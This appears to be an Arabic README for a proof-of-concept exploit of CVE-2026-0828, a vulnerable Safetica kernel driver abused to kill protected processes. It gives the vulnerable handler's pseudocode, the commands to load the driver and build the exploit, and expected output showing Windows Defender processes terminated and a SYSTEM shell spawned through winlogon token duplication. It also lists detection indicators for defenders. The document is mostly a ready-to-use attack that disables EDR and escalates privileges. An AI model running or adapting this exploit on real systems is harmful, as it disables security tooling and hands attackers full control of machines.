
استغلال إثبات المفهوم لـ CVE-2026-0828، وهي ثغرة BYOVD في Safetica ProcessMonitorDriver.sys تسمح بإنهاء العمليات المحمية بـ PPL بدون صلاحيات وتصعيد الامتيازات المحلية إلى SYSTEM عبر إساءة استخدام IOCTL وازدواج الرموز.
برنامج تشغيل النواة Safetica DLP (ProcessMonitorDriver.sys) يعرض IOCTL غير مصادق عليه يسمح لأي مستدعي في وضع المستخدم بإنهاء عمليات عشوائية عبر ZwTerminateProcess في سياق النواة، متجاوزًا حماية PPL (Protected Process Light).
CVSS: 8.8 (عالية) · النوع: BYOVD, LPE · المنصة: Windows x64
معالج IRP_MJ_DEVICE_CONTROL الخاص بـ IOCTL 0xB822200C يستدعي ZwOpenProcess مع PROCESS_ALL_ACCESS (0x1FFFFF) ثم ZwTerminateProcess باستخدام PID مُمرَّر مباشرةً من المخزن المؤقت للإدخال — بدون أي تحقق من الامتيازات أو من هوية المستدعي.
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
نظرًا لأن الاستدعاء ينشأ في سياق النواة، يمكن إنهاء العمليات المحمية بـ PPL (مثل Windows Defender ووكلاء EDR).
الإصدارات المتأثرة: Safetica < 11.26.19 / < 10.5.150
تم الإصلاح في: Safetica 11.26.19, 11.29.8, 10.5.150 — تمت إضافة التحقق من الامتيازات إلى معالج IOCTL
المراجع: نشرة KOSEC الأمنية · CERT VU#818729
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| الملف | الوصف |
|---|---|
exploit.c | PoC كامل — يقتل EDR ويشغّل cmd.exe بصلاحيات NT AUTHORITY\SYSTEM |
يتطلب Visual Studio (موجه أوامر x64 Native Tools):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
الخطوة 1 — تحميل برنامج التشغيل (CMD بصلاحيات المسؤول):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
الخطوة 2 — تشغيل الـ PoC:
exploit.exe
المخرجات المتوقعة:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
تفتح نافذة cmd.exe جديدة بصلاحيات NT AUTHORITY\SYSTEM.
معرف الحدث 7045 — تثبيت خدمة نواة جديدة:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
قائمة حظر WDAC (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: راقب استدعاءات DeviceIoControl إلى \\.\STProcessMonitorDriver.
للاستخدام في الأبحاث الأمنية المعتمدة والمختبرات فقط. لا تستخدم ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها.